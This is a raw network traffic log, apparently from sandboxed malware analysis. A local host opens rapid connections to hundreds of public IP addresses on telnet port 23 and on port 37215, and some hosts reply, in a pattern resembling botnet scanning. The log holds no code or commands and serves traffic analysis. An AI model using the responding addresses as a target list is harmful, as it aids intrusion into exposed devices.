Mar 6, 2025 21:38:03.633919954 CET	41092	23	192.168.2.13	217.167.201.55
Mar 6, 2025 21:38:03.633939028 CET	23	41092	123.232.82.62	192.168.2.13
Mar 6, 2025 21:38:03.633941889 CET	41092	23	192.168.2.13	73.105.65.128
Mar 6, 2025 21:38:03.633965015 CET	41098	37215	192.168.2.13	196.217.152.141
Mar 6, 2025 21:38:03.633966923 CET	23	41092	210.45.148.18	192.168.2.13
Mar 6, 2025 21:38:03.633969069 CET	41098	37215	192.168.2.13	223.8.92.194
Mar 6, 2025 21:38:03.633970022 CET	41098	37215	192.168.2.13	197.143.15.175
Mar 6, 2025 21:38:03.633970022 CET	41098	37215	192.168.2.13	156.15.21.20
Mar 6, 2025 21:38:03.633977890 CET	41092	23	192.168.2.13	123.232.82.62
Mar 6, 2025 21:38:03.633980036 CET	41098	37215	192.168.2.13	223.8.62.166
Mar 6, 2025 21:38:03.633980036 CET	41098	37215	192.168.2.13	134.165.190.36
Mar 6, 2025 21:38:03.633989096 CET	41098	37215	192.168.2.13	41.123.42.152
Mar 6, 2025 21:38:03.633996010 CET	23	41092	108.10.45.126	192.168.2.13
Mar 6, 2025 21:38:03.634023905 CET	23	41092	109.126.65.33	192.168.2.13
Mar 6, 2025 21:38:03.634037971 CET	41092	23	192.168.2.13	125.249.225.121
Mar 6, 2025 21:38:03.634037971 CET	41092	23	192.168.2.13	108.10.45.126
Mar 6, 2025 21:38:03.634043932 CET	41092	23	192.168.2.13	210.45.148.18
Mar 6, 2025 21:38:03.634043932 CET	41092	23	192.168.2.13	81.249.139.115
Mar 6, 2025 21:38:03.634044886 CET	41092	23	192.168.2.13	62.216.213.3
Mar 6, 2025 21:38:03.634051085 CET	23	41092	183.103.238.37	192.168.2.13
Mar 6, 2025 21:38:03.634063959 CET	41092	23	192.168.2.13	151.219.58.148
Mar 6, 2025 21:38:03.634078979 CET	23	41092	59.19.214.29	192.168.2.13
Mar 6, 2025 21:38:03.634079933 CET	41092	23	192.168.2.13	202.136.188.209
Mar 6, 2025 21:38:03.634079933 CET	41092	23	192.168.2.13	109.126.65.33
Mar 6, 2025 21:38:03.634079933 CET	41092	23	192.168.2.13	219.61.220.137
Mar 6, 2025 21:38:03.634087086 CET	41092	23	192.168.2.13	183.103.238.37
Mar 6, 2025 21:38:03.634109974 CET	41098	37215	192.168.2.13	46.218.140.232
Mar 6, 2025 21:38:03.634114981 CET	41092	23	192.168.2.13	59.19.214.29
Mar 6, 2025 21:38:03.634128094 CET	41098	37215	192.168.2.13	156.218.218.2
Mar 6, 2025 21:38:03.634133101 CET	23	41092	195.136.10.27	192.168.2.13
Mar 6, 2025 21:38:03.634140015 CET	41098	37215	192.168.2.13	156.230.176.118
Mar 6, 2025 21:38:03.634160995 CET	23	41092	118.109.1.220	192.168.2.13
Mar 6, 2025 21:38:03.634164095 CET	41098	37215	192.168.2.13	41.116.33.8
Mar 6, 2025 21:38:03.634164095 CET	41098	37215	192.168.2.13	156.69.39.11
Mar 6, 2025 21:38:03.634164095 CET	41098	37215	192.168.2.13	156.58.193.53
Mar 6, 2025 21:38:03.634167910 CET	41092	23	192.168.2.13	195.136.10.27
Mar 6, 2025 21:38:03.634176016 CET	41098	37215	192.168.2.13	197.142.135.87
Mar 6, 2025 21:38:03.634190083 CET	23	41092	24.219.162.48	192.168.2.13
Mar 6, 2025 21:38:03.634203911 CET	41092	23	192.168.2.13	118.109.1.220
Mar 6, 2025 21:38:03.634217978 CET	23	41092	73.248.49.66	192.168.2.13
Mar 6, 2025 21:38:03.634227991 CET	41092	23	192.168.2.13	24.219.162.48
Mar 6, 2025 21:38:03.634233952 CET	41092	23	192.168.2.13	173.95.225.227
Mar 6, 2025 21:38:03.634241104 CET	41092	23	192.168.2.13	165.99.240.199
Mar 6, 2025 21:38:03.634248018 CET	23	41092	178.231.80.73	192.168.2.13
Mar 6, 2025 21:38:03.634253025 CET	41092	23	192.168.2.13	2.165.78.121
Mar 6, 2025 21:38:03.634262085 CET	41092	23	192.168.2.13	73.248.49.66
Mar 6, 2025 21:38:03.634275913 CET	23	41092	120.250.203.101	192.168.2.13
Mar 6, 2025 21:38:03.634293079 CET	41092	23	192.168.2.13	178.231.80.73
Mar 6, 2025 21:38:03.634305954 CET	23	41092	206.32.2.153	192.168.2.13
Mar 6, 2025 21:38:03.634310961 CET	41098	37215	192.168.2.13	134.115.197.189
Mar 6, 2025 21:38:03.634313107 CET	41098	37215	192.168.2.13	196.51.47.205
Mar 6, 2025 21:38:03.634316921 CET	41098	37215	192.168.2.13	196.211.167.201
Mar 6, 2025 21:38:03.634335041 CET	23	41092	94.93.41.225	192.168.2.13
Mar 6, 2025 21:38:03.634337902 CET	41098	37215	192.168.2.13	134.179.140.119
Mar 6, 2025 21:38:03.634337902 CET	41092	23	192.168.2.13	120.250.203.101
Mar 6, 2025 21:38:03.634341955 CET	41092	23	192.168.2.13	206.32.2.153
Mar 6, 2025 21:38:03.634362936 CET	23	41092	213.5.9.126	192.168.2.13
Mar 6, 2025 21:38:03.634366989 CET	41092	23	192.168.2.13	188.132.221.227
Mar 6, 2025 21:38:03.634371996 CET	41092	23	192.168.2.13	94.93.41.225
Mar 6, 2025 21:38:03.634387016 CET	41092	23	192.168.2.13	2.140.48.235
Mar 6, 2025 21:38:03.634391069 CET	23	41092	157.30.103.32	192.168.2.13
Mar 6, 2025 21:38:03.634404898 CET	41092	23	192.168.2.13	213.5.9.126
Mar 6, 2025 21:38:03.634418964 CET	23	41092	163.237.219.202	192.168.2.13
Mar 6, 2025 21:38:03.634428978 CET	41092	23	192.168.2.13	157.30.103.32
Mar 6, 2025 21:38:03.634449005 CET	23	41092	165.145.6.219	192.168.2.13
Mar 6, 2025 21:38:03.634465933 CET	41092	23	192.168.2.13	163.237.219.202
Mar 6, 2025 21:38:03.634474993 CET	41098	37215	192.168.2.13	181.93.251.220
Mar 6, 2025 21:38:03.634476900 CET	23	41092	136.239.246.108	192.168.2.13
Mar 6, 2025 21:38:03.634480953 CET	41092	23	192.168.2.13	165.145.6.219
Mar 6, 2025 21:38:03.634495020 CET	41098	37215	192.168.2.13	46.85.165.79
Mar 6, 2025 21:38:03.634499073 CET	41098	37215	192.168.2.13	181.31.48.214
Mar 6, 2025 21:38:03.634504080 CET	41098	37215	192.168.2.13	41.60.243.6
Mar 6, 2025 21:38:03.634504080 CET	41098	37215	192.168.2.13	223.8.104.48
Mar 6, 2025 21:38:03.634504080 CET	23	41092	19.218.128.197	192.168.2.13
Mar 6, 2025 21:38:03.634510994 CET	41098	37215	192.168.2.13	196.122.160.219
Mar 6, 2025 21:38:03.634510994 CET	41092	23	192.168.2.13	136.239.246.108
Mar 6, 2025 21:38:03.634520054 CET	41098	37215	192.168.2.13	134.74.105.189
Mar 6, 2025 21:38:03.634533882 CET	23	41092	18.29.145.152	192.168.2.13
Mar 6, 2025 21:38:03.634541035 CET	41092	23	192.168.2.13	104.7.0.226
Mar 6, 2025 21:38:03.634546995 CET	41092	23	192.168.2.13	19.218.128.197
Mar 6, 2025 21:38:03.634547949 CET	41092	23	192.168.2.13	181.62.74.184
Mar 6, 2025 21:38:03.634573936 CET	41092	23	192.168.2.13	18.29.145.152
Mar 6, 2025 21:38:03.634573936 CET	41092	23	192.168.2.13	80.121.5.11
Mar 6, 2025 21:38:03.634583950 CET	23	41092	217.60.233.151	192.168.2.13
Mar 6, 2025 21:38:03.634605885 CET	41098	37215	192.168.2.13	46.198.228.25
Mar 6, 2025 21:38:03.634610891 CET	41098	37215	192.168.2.13	196.26.166.73
Mar 6, 2025 21:38:03.634612083 CET	23	41092	89.1.194.11	192.168.2.13
Mar 6, 2025 21:38:03.634615898 CET	41098	37215	192.168.2.13	197.87.150.166
Mar 6, 2025 21:38:03.634617090 CET	41098	37215	192.168.2.13	223.8.104.14
Mar 6, 2025 21:38:03.634619951 CET	41098	37215	192.168.2.13	41.105.90.40
Mar 6, 2025 21:38:03.634627104 CET	41092	23	192.168.2.13	217.60.233.151
Mar 6, 2025 21:38:03.634634018 CET	41098	37215	192.168.2.13	134.57.100.35
Mar 6, 2025 21:38:03.634634972 CET	41098	37215	192.168.2.13	41.244.17.92
Mar 6, 2025 21:38:03.634639978 CET	23	41092	31.244.133.84	192.168.2.13
Mar 6, 2025 21:38:03.634649992 CET	41098	37215	192.168.2.13	41.136.238.47
Mar 6, 2025 21:38:03.634654045 CET	41092	23	192.168.2.13	89.1.194.11
Mar 6, 2025 21:38:03.634670973 CET	23	41092	19.49.134.221	192.168.2.13
Mar 6, 2025 21:38:03.634682894 CET	41092	23	192.168.2.13	31.244.133.84
Mar 6, 2025 21:38:03.634700060 CET	23	41092	66.185.9.5	192.168.2.13
Mar 6, 2025 21:38:03.634700060 CET	41092	23	192.168.2.13	59.128.123.130
Mar 6, 2025 21:38:03.634707928 CET	41092	23	192.168.2.13	87.166.212.235
Mar 6, 2025 21:38:03.634711027 CET	41092	23	192.168.2.13	20.247.225.63
Mar 6, 2025 21:38:03.634711981 CET	41092	23	192.168.2.13	19.49.134.221
Mar 6, 2025 21:38:03.634728909 CET	23	41092	173.49.63.87	192.168.2.13
Mar 6, 2025 21:38:03.634741068 CET	41092	23	192.168.2.13	66.185.9.5
Mar 6, 2025 21:38:03.634753942 CET	41098	37215	192.168.2.13	46.102.250.92
Mar 6, 2025 21:38:03.634757042 CET	23	41092	123.179.196.94	192.168.2.13
Mar 6, 2025 21:38:03.634763956 CET	41098	37215	192.168.2.13	156.134.10.173
Mar 6, 2025 21:38:03.634768963 CET	41092	23	192.168.2.13	173.49.63.87
Mar 6, 2025 21:38:03.634785891 CET	41098	37215	192.168.2.13	196.101.166.105
Mar 6, 2025 21:38:03.634807110 CET	41098	37215	192.168.2.13	223.8.160.47
Mar 6, 2025 21:38:03.634808064 CET	41098	37215	192.168.2.13	223.8.107.146
Mar 6, 2025 21:38:03.634807110 CET	41098	37215	192.168.2.13	223.8.115.175
Mar 6, 2025 21:38:03.634807110 CET	41092	23	192.168.2.13	123.179.196.94
Mar 6, 2025 21:38:03.634807110 CET	41098	37215	192.168.2.13	196.86.174.114
Mar 6, 2025 21:38:03.634809017 CET	41098	37215	192.168.2.13	134.197.165.216
Mar 6, 2025 21:38:03.634809017 CET	41098	37215	192.168.2.13	46.221.80.217
Mar 6, 2025 21:38:03.634821892 CET	41098	37215	192.168.2.13	196.31.166.147
Mar 6, 2025 21:38:03.634821892 CET	41098	37215	192.168.2.13	223.8.195.155
Mar 6, 2025 21:38:03.634838104 CET	41098	37215	192.168.2.13	156.158.255.108
Mar 6, 2025 21:38:03.634839058 CET	41098	37215	192.168.2.13	181.149.228.109
Mar 6, 2025 21:38:03.634850979 CET	41098	37215	192.168.2.13	41.54.77.14
Mar 6, 2025 21:38:03.634850979 CET	41098	37215	192.168.2.13	196.19.73.156
Mar 6, 2025 21:38:03.634860992 CET	41098	37215	192.168.2.13	46.95.130.200
Mar 6, 2025 21:38:03.634864092 CET	41098	37215	192.168.2.13	181.251.139.93
Mar 6, 2025 21:38:03.634877920 CET	41098	37215	192.168.2.13	41.227.26.199
Mar 6, 2025 21:38:03.634880066 CET	41098	37215	192.168.2.13	134.77.138.117
Mar 6, 2025 21:38:03.634893894 CET	41098	37215	192.168.2.13	197.227.67.23
Mar 6, 2025 21:38:03.634896994 CET	41098	37215	192.168.2.13	134.169.138.161
Mar 6, 2025 21:38:03.634910107 CET	41098	37215	192.168.2.13	41.39.215.10
Mar 6, 2025 21:38:03.634917974 CET	41098	37215	192.168.2.13	46.223.127.26
Mar 6, 2025 21:38:03.634921074 CET	41098	37215	192.168.2.13	197.73.65.201
Mar 6, 2025 21:38:03.634921074 CET	41098	37215	192.168.2.13	156.210.115.33
Mar 6, 2025 21:38:03.634932041 CET	41098	37215	192.168.2.13	196.66.211.186
Mar 6, 2025 21:38:03.634944916 CET	41098	37215	192.168.2.13	41.108.250.50
Mar 6, 2025 21:38:03.634947062 CET	41098	37215	192.168.2.13	41.191.115.78
Mar 6, 2025 21:38:03.634969950 CET	41098	37215	192.168.2.13	156.151.80.237
Mar 6, 2025 21:38:03.634969950 CET	41098	37215	192.168.2.13	41.129.137.76
Mar 6, 2025 21:38:03.634973049 CET	41098	37215	192.168.2.13	196.127.152.141
Mar 6, 2025 21:38:03.634979963 CET	41098	37215	192.168.2.13	41.96.79.229
Mar 6, 2025 21:38:03.634991884 CET	41098	37215	192.168.2.13	156.181.141.115
Mar 6, 2025 21:38:03.634991884 CET	41098	37215	192.168.2.13	197.221.227.133
Mar 6, 2025 21:38:03.634993076 CET	41098	37215	192.168.2.13	196.56.200.115
Mar 6, 2025 21:38:03.634993076 CET	41098	37215	192.168.2.13	134.97.23.39
Mar 6, 2025 21:38:03.635006905 CET	41098	37215	192.168.2.13	156.13.118.195
Mar 6, 2025 21:38:03.635020971 CET	41098	37215	192.168.2.13	156.163.195.66
Mar 6, 2025 21:38:03.635020971 CET	41098	37215	192.168.2.13	196.1.6.69
Mar 6, 2025 21:38:03.635020971 CET	41098	37215	192.168.2.13	196.208.2.191
Mar 6, 2025 21:38:03.635023117 CET	41098	37215	192.168.2.13	46.14.69.250
Mar 6, 2025 21:38:03.635041952 CET	41098	37215	192.168.2.13	223.8.7.247
Mar 6, 2025 21:38:03.635045052 CET	41098	37215	192.168.2.13	223.8.154.165
Mar 6, 2025 21:38:03.635059118 CET	41098	37215	192.168.2.13	196.120.105.146
Mar 6, 2025 21:38:03.635066986 CET	41098	37215	192.168.2.13	134.206.179.66
Mar 6, 2025 21:38:03.635071039 CET	41098	37215	192.168.2.13	223.8.131.22
Mar 6, 2025 21:38:03.635077953 CET	41098	37215	192.168.2.13	181.180.42.77
Mar 6, 2025 21:38:03.635083914 CET	41098	37215	192.168.2.13	197.79.139.109
Mar 6, 2025 21:38:03.635103941 CET	41092	23	192.168.2.13	195.213.163.243
Mar 6, 2025 21:38:03.635116100 CET	41092	23	192.168.2.13	197.195.15.148
Mar 6, 2025 21:38:03.635134935 CET	41098	37215	192.168.2.13	46.119.249.123
Mar 6, 2025 21:38:03.635134935 CET	41092	23	192.168.2.13	19.43.45.147
Mar 6, 2025 21:38:03.635140896 CET	41092	23	192.168.2.13	109.40.105.5
Mar 6, 2025 21:38:03.635174990 CET	41092	23	192.168.2.13	110.176.201.183
Mar 6, 2025 21:38:03.635185957 CET	41092	23	192.168.2.13	27.86.126.132
Mar 6, 2025 21:38:03.635215044 CET	41092	23	192.168.2.13	5.92.124.190
Mar 6, 2025 21:38:03.635217905 CET	41092	23	192.168.2.13	61.159.140.12
Mar 6, 2025 21:38:03.635230064 CET	41092	23	192.168.2.13	113.125.182.235
Mar 6, 2025 21:38:03.635238886 CET	37215	41098	46.198.63.22	192.168.2.13
Mar 6, 2025 21:38:03.635246992 CET	41092	23	192.168.2.13	153.15.221.107
Mar 6, 2025 21:38:03.635248899 CET	41092	23	192.168.2.13	109.61.178.48
Mar 6, 2025 21:38:03.635272026 CET	41092	23	192.168.2.13	184.163.62.176
Mar 6, 2025 21:38:03.635272026 CET	37215	41098	181.96.1.5	192.168.2.13
Mar 6, 2025 21:38:03.635273933 CET	41098	37215	192.168.2.13	46.198.63.22
Mar 6, 2025 21:38:03.635294914 CET	41092	23	192.168.2.13	139.165.98.197
Mar 6, 2025 21:38:03.635317087 CET	41092	23	192.168.2.13	187.8.211.228
Mar 6, 2025 21:38:03.635319948 CET	41098	37215	192.168.2.13	181.96.1.5
Mar 6, 2025 21:38:03.635354996 CET	41092	23	192.168.2.13	91.201.142.102
Mar 6, 2025 21:38:03.635354996 CET	41092	23	192.168.2.13	114.209.42.249
Mar 6, 2025 21:38:03.635370016 CET	41092	23	192.168.2.13	20.10.83.211
Mar 6, 2025 21:38:03.635371923 CET	41092	23	192.168.2.13	77.89.87.244
Mar 6, 2025 21:38:03.635380983 CET	41092	23	192.168.2.13	9.94.94.204
Mar 6, 2025 21:38:03.635426044 CET	41092	23	192.168.2.13	4.157.189.41
Mar 6, 2025 21:38:03.635432959 CET	41092	23	192.168.2.13	65.103.1.87
Mar 6, 2025 21:38:03.635440111 CET	41092	23	192.168.2.13	42.154.5.132
Mar 6, 2025 21:38:03.635440111 CET	41092	23	192.168.2.13	38.98.135.63
Mar 6, 2025 21:38:03.635451078 CET	41092	23	192.168.2.13	4.245.0.31
Mar 6, 2025 21:38:03.635479927 CET	41092	23	192.168.2.13	152.219.184.164
Mar 6, 2025 21:38:03.635484934 CET	37215	41098	223.8.91.211	192.168.2.13
Mar 6, 2025 21:38:03.635499954 CET	41092	23	192.168.2.13	99.122.66.105
Mar 6, 2025 21:38:03.635500908 CET	41092	23	192.168.2.13	189.32.52.75
Mar 6, 2025 21:38:03.635500908 CET	41092	23	192.168.2.13	77.250.190.163
Mar 6, 2025 21:38:03.635500908 CET	41092	23	192.168.2.13	186.134.40.56
Mar 6, 2025 21:38:03.635512114 CET	41092	23	192.168.2.13	201.132.170.77
Mar 6, 2025 21:38:03.635513067 CET	41092	23	192.168.2.13	193.10.181.92
Mar 6, 2025 21:38:03.635513067 CET	41098	37215	192.168.2.13	223.8.91.211
Mar 6, 2025 21:38:03.635515928 CET	37215	41098	181.210.111.102	192.168.2.13
Mar 6, 2025 21:38:03.635550976 CET	41098	37215	192.168.2.13	181.210.111.102
Mar 6, 2025 21:38:03.635565042 CET	37215	41098	197.11.47.222	192.168.2.13
Mar 6, 2025 21:38:03.635566950 CET	41092	23	192.168.2.13	87.7.7.255
Mar 6, 2025 21:38:03.635571957 CET	41092	23	192.168.2.13	149.36.203.133
Mar 6, 2025 21:38:03.635592937 CET	37215	41098	41.64.113.175	192.168.2.13
Mar 6, 2025 21:38:03.635598898 CET	41092	23	192.168.2.13	164.171.50.127
Mar 6, 2025 21:38:03.635606050 CET	41098	37215	192.168.2.13	197.11.47.222
Mar 6, 2025 21:38:03.635633945 CET	41092	23	192.168.2.13	124.18.92.127
Mar 6, 2025 21:38:03.635641098 CET	41098	37215	192.168.2.13	41.64.113.175
Mar 6, 2025 21:38:03.635658026 CET	41092	23	192.168.2.13	97.105.66.155
Mar 6, 2025 21:38:03.635658979 CET	41092	23	192.168.2.13	8.38.176.135
Mar 6, 2025 21:38:03.635658979 CET	41092	23	192.168.2.13	201.115.110.59
Mar 6, 2025 21:38:03.635672092 CET	41092	23	192.168.2.13	80.247.105.65
Mar 6, 2025 21:38:03.635674953 CET	41092	23	192.168.2.13	210.10.152.194
Mar 6, 2025 21:38:03.635682106 CET	41092	23	192.168.2.13	98.140.173.90
Mar 6, 2025 21:38:03.635696888 CET	41092	23	192.168.2.13	212.137.91.243
Mar 6, 2025 21:38:03.635747910 CET	41092	23	192.168.2.13	153.61.185.0
Mar 6, 2025 21:38:03.635756969 CET	41092	23	192.168.2.13	24.185.204.84
Mar 6, 2025 21:38:03.635762930 CET	41092	23	192.168.2.13	141.159.184.125
Mar 6, 2025 21:38:03.635762930 CET	41092	23	192.168.2.13	126.229.43.254
Mar 6, 2025 21:38:03.635771990 CET	41098	37215	192.168.2.13	41.145.43.204
Mar 6, 2025 21:38:03.635780096 CET	41098	37215	192.168.2.13	134.156.15.220
Mar 6, 2025 21:38:03.635780096 CET	41098	37215	192.168.2.13	46.191.131.232
Mar 6, 2025 21:38:03.635782003 CET	41098	37215	192.168.2.13	196.126.28.241
Mar 6, 2025 21:38:03.635801077 CET	41098	37215	192.168.2.13	181.244.19.62
Mar 6, 2025 21:38:03.635801077 CET	41098	37215	192.168.2.13	134.227.216.93
Mar 6, 2025 21:38:03.635816097 CET	41098	37215	192.168.2.13	223.8.202.241
Mar 6, 2025 21:38:03.635823011 CET	41098	37215	192.168.2.13	223.8.66.40
Mar 6, 2025 21:38:03.635823011 CET	41098	37215	192.168.2.13	196.1.32.27
Mar 6, 2025 21:38:03.635862112 CET	41098	37215	192.168.2.13	134.48.95.40
Mar 6, 2025 21:38:03.635869026 CET	41098	37215	192.168.2.13	196.242.18.128
Mar 6, 2025 21:38:03.635894060 CET	41098	37215	192.168.2.13	46.130.94.43
Mar 6, 2025 21:38:03.635894060 CET	41098	37215	192.168.2.13	181.219.250.188
Mar 6, 2025 21:38:03.635895014 CET	41098	37215	192.168.2.13	46.190.4.33
Mar 6, 2025 21:38:03.635906935 CET	41098	37215	192.168.2.13	134.29.37.175
Mar 6, 2025 21:38:03.635910034 CET	41098	37215	192.168.2.13	181.156.170.248
Mar 6, 2025 21:38:03.635910988 CET	41098	37215	192.168.2.13	41.88.8.133
Mar 6, 2025 21:38:03.635920048 CET	41098	37215	192.168.2.13	41.148.201.169
Mar 6, 2025 21:38:03.635921001 CET	41098	37215	192.168.2.13	196.250.145.94
Mar 6, 2025 21:38:03.635921001 CET	41098	37215	192.168.2.13	196.133.102.177
Mar 6, 2025 21:38:03.635930061 CET	41098	37215	192.168.2.13	196.27.175.148
Mar 6, 2025 21:38:03.635930061 CET	41098	37215	192.168.2.13	156.22.211.59
Mar 6, 2025 21:38:03.635935068 CET	41098	37215	192.168.2.13	46.20.248.121
Mar 6, 2025 21:38:03.635938883 CET	41098	37215	192.168.2.13	156.254.131.222
Mar 6, 2025 21:38:03.635958910 CET	41098	37215	192.168.2.13	196.137.226.173
Mar 6, 2025 21:38:03.635977983 CET	41098	37215	192.168.2.13	134.0.51.62
Mar 6, 2025 21:38:03.635981083 CET	41098	37215	192.168.2.13	223.8.6.154
Mar 6, 2025 21:38:03.635984898 CET	41098	37215	192.168.2.13	223.8.213.203
Mar 6, 2025 21:38:03.636009932 CET	41098	37215	192.168.2.13	41.103.229.203
Mar 6, 2025 21:38:03.636034966 CET	41098	37215	192.168.2.13	181.122.74.202
Mar 6, 2025 21:38:03.636034966 CET	41098	37215	192.168.2.13	196.165.23.197
Mar 6, 2025 21:38:03.636034966 CET	41098	37215	192.168.2.13	196.78.175.32
Mar 6, 2025 21:38:03.636034966 CET	41098	37215	192.168.2.13	196.35.169.43
Mar 6, 2025 21:38:03.636059999 CET	41098	37215	192.168.2.13	223.8.150.159
Mar 6, 2025 21:38:03.636065006 CET	41098	37215	192.168.2.13	197.166.211.212
Mar 6, 2025 21:38:03.636065006 CET	41098	37215	192.168.2.13	156.162.47.142
Mar 6, 2025 21:38:03.636086941 CET	37215	41098	197.204.237.42	192.168.2.13
Mar 6, 2025 21:38:03.636092901 CET	41098	37215	192.168.2.13	46.158.32.186
Mar 6, 2025 21:38:03.636101961 CET	41098	37215	192.168.2.13	41.241.165.93
Mar 6, 2025 21:38:03.636110067 CET	41098	37215	192.168.2.13	223.8.120.179
Mar 6, 2025 21:38:03.636116028 CET	37215	41098	197.93.48.180	192.168.2.13
Mar 6, 2025 21:38:03.636131048 CET	37215	41098	196.178.247.130	192.168.2.13
Mar 6, 2025 21:38:03.636131048 CET	41098	37215	192.168.2.13	197.204.237.42
Mar 6, 2025 21:38:03.636131048 CET	41092	23	192.168.2.13	178.230.108.33
Mar 6, 2025 21:38:03.636142969 CET	37215	41098	41.7.177.107	192.168.2.13
Mar 6, 2025 21:38:03.636148930 CET	41092	23	192.168.2.13	151.67.59.235
Mar 6, 2025 21:38:03.636152983 CET	41098	37215	192.168.2.13	197.93.48.180
Mar 6, 2025 21:38:03.636157036 CET	37215	41098	223.8.48.144	192.168.2.13
Mar 6, 2025 21:38:03.636162043 CET	41098	37215	192.168.2.13	196.178.247.130
Mar 6, 2025 21:38:03.636169910 CET	41092	23	192.168.2.13	2.94.147.12
Mar 6, 2025 21:38:03.636171103 CET	37215	41098	41.5.107.218	192.168.2.13
Mar 6, 2025 21:38:03.636177063 CET	41092	23	192.168.2.13	182.85.74.149
Mar 6, 2025 21:38:03.636182070 CET	41098	37215	192.168.2.13	41.7.177.107
Mar 6, 2025 21:38:03.636184931 CET	37215	41098	134.128.158.242	192.168.2.13
Mar 6, 2025 21:38:03.636188030 CET	41098	37215	192.168.2.13	223.8.48.144
Mar 6, 2025 21:38:03.636200905 CET	37215	41098	223.8.30.18	192.168.2.13
Mar 6, 2025 21:38:03.636205912 CET	41092	23	192.168.2.13	96.27.133.122
Mar 6, 2025 21:38:03.636205912 CET	41098	37215	192.168.2.13	46.45.35.119
Mar 6, 2025 21:38:03.636212111 CET	41098	37215	192.168.2.13	134.52.248.194
Mar 6, 2025 21:38:03.636212111 CET	41098	37215	192.168.2.13	134.128.158.242
Mar 6, 2025 21:38:03.636215925 CET	37215	41098	196.250.137.23	192.168.2.13
Mar 6, 2025 21:38:03.636218071 CET	41098	37215	192.168.2.13	41.5.107.218
Mar 6, 2025 21:38:03.636229038 CET	37215	41098	196.174.172.127	192.168.2.13
Mar 6, 2025 21:38:03.636240005 CET	41098	37215	192.168.2.13	223.8.30.18
Mar 6, 2025 21:38:03.636250973 CET	41098	37215	192.168.2.13	196.220.8.10
Mar 6, 2025 21:38:03.636255026 CET	41098	37215	192.168.2.13	196.250.137.23
Mar 6, 2025 21:38:03.636255026 CET	37215	41098	46.25.66.134	192.168.2.13
Mar 6, 2025 21:38:03.636269093 CET	37215	41098	41.39.253.4	192.168.2.13
Mar 6, 2025 21:38:03.636269093 CET	41098	37215	192.168.2.13	196.174.172.127
Mar 6, 2025 21:38:03.636270046 CET	41098	37215	192.168.2.13	197.157.86.27
Mar 6, 2025 21:38:03.636281967 CET	37215	41098	223.8.23.22	192.168.2.13
Mar 6, 2025 21:38:03.636284113 CET	41092	23	192.168.2.13	4.60.234.138
Mar 6, 2025 21:38:03.636295080 CET	41092	23	192.168.2.13	8.208.36.231
Mar 6, 2025 21:38:03.636296988 CET	37215	41098	223.8.164.107	192.168.2.13
Mar 6, 2025 21:38:03.636317015 CET	37215	41098	46.185.117.125	192.168.2.13
Mar 6, 2025 21:38:03.636324883 CET	41098	37215	192.168.2.13	223.8.23.22
Mar 6, 2025 21:38:03.636331081 CET	37215	41098	46.131.92.77	192.168.2.13
Mar 6, 2025 21:38:03.636336088 CET	41098	37215	192.168.2.13	223.8.164.107
Mar 6, 2025 21:38:03.636337042 CET	41098	37215	192.168.2.13	46.25.66.134
Mar 6, 2025 21:38:03.636337042 CET	41098	37215	192.168.2.13	41.39.253.4
Mar 6, 2025 21:38:03.636344910 CET	37215	41098	156.52.8.59	192.168.2.13
Mar 6, 2025 21:38:03.636352062 CET	41098	37215	192.168.2.13	46.185.117.125
Mar 6, 2025 21:38:03.636352062 CET	41098	37215	192.168.2.13	197.198.44.89
Mar 6, 2025 21:38:03.636359930 CET	37215	41098	134.247.191.6	192.168.2.13
Mar 6, 2025 21:38:03.636370897 CET	41098	37215	192.168.2.13	46.131.92.77
Mar 6, 2025 21:38:03.636370897 CET	41098	37215	192.168.2.13	223.8.90.180
Mar 6, 2025 21:38:03.636373997 CET	41098	37215	192.168.2.13	181.124.135.135
Mar 6, 2025 21:38:03.636395931 CET	37215	41098	156.216.97.210	192.168.2.13
Mar 6, 2025 21:38:03.636404037 CET	41098	37215	192.168.2.13	181.95.126.196
Mar 6, 2025 21:38:03.636404037 CET	41098	37215	192.168.2.13	156.52.8.59
Mar 6, 2025 21:38:03.636404037 CET	41098	37215	192.168.2.13	134.247.191.6
Mar 6, 2025 21:38:03.636406898 CET	37215	41098	181.179.170.210	192.168.2.13
Mar 6, 2025 21:38:03.636415958 CET	37215	41098	41.82.186.107	192.168.2.13
Mar 6, 2025 21:38:03.636426926 CET	37215	41098	223.8.245.239	192.168.2.13
Mar 6, 2025 21:38:03.636426926 CET	41092	23	192.168.2.13	165.47.246.87
Mar 6, 2025 21:38:03.636435986 CET	41092	23	192.168.2.13	175.38.235.118
Mar 6, 2025 21:38:03.636444092 CET	41092	23	192.168.2.13	87.62.209.94
Mar 6, 2025 21:38:03.636445045 CET	41092	23	192.168.2.13	98.180.24.181
Mar 6, 2025 21:38:03.636447906 CET	41098	37215	192.168.2.13	156.216.97.210
Mar 6, 2025 21:38:03.636447906 CET	41098	37215	192.168.2.13	181.179.170.210
Mar 6, 2025 21:38:03.636447906 CET	41098	37215	192.168.2.13	41.82.186.107
Mar 6, 2025 21:38:03.636462927 CET	41092	23	192.168.2.13	221.193.47.238
Mar 6, 2025 21:38:03.636462927 CET	41098	37215	192.168.2.13	223.8.245.239
Mar 6, 2025 21:38:03.636487961 CET	41098	37215	192.168.2.13	197.140.97.195
Mar 6, 2025 21:38:03.636495113 CET	41098	37215	192.168.2.13	156.152.253.149
Mar 6, 2025 21:38:03.636497021 CET	41098	37215	192.168.2.13	223.8.62.25
Mar 6, 2025 21:38:03.636497021 CET	41098	37215	192.168.2.13	223.8.12.80
Mar 6, 2025 21:38:03.636507988 CET	37215	41098	223.8.242.215	192.168.2.13
Mar 6, 2025 21:38:03.636509895 CET	41098	37215	192.168.2.13	196.117.72.176
Mar 6, 2025 21:38:03.636512995 CET	41098	37215	192.168.2.13	223.8.28.93
Mar 6, 2025 21:38:03.636518955 CET	37215	41098	181.100.117.242	192.168.2.13
Mar 6, 2025 21:38:03.636521101 CET	41098	37215	192.168.2.13	197.139.212.54
Mar 6, 2025 21:38:03.636528969 CET	37215	41098	197.43.229.50	192.168.2.13
Mar 6, 2025 21:38:03.636533976 CET	41098	37215	192.168.2.13	223.8.242.215
Mar 6, 2025 21:38:03.636539936 CET	37215	41098	41.81.101.34	192.168.2.13
Mar 6, 2025 21:38:03.636549950 CET	37215	41098	46.88.66.50	192.168.2.13
Mar 6, 2025 21:38:03.636559010 CET	41098	37215	192.168.2.13	197.43.229.50
Mar 6, 2025 21:38:03.636559963 CET	37215	41098	134.200.87.45	192.168.2.13
Mar 6, 2025 21:38:03.636560917 CET	41098	37215	192.168.2.13	181.100.117.242
Mar 6, 2025 21:38:03.636569023 CET	37215	41098	41.242.134.44	192.168.2.13
Mar 6, 2025 21:38:03.636576891 CET	41098	37215	192.168.2.13	41.81.101.34
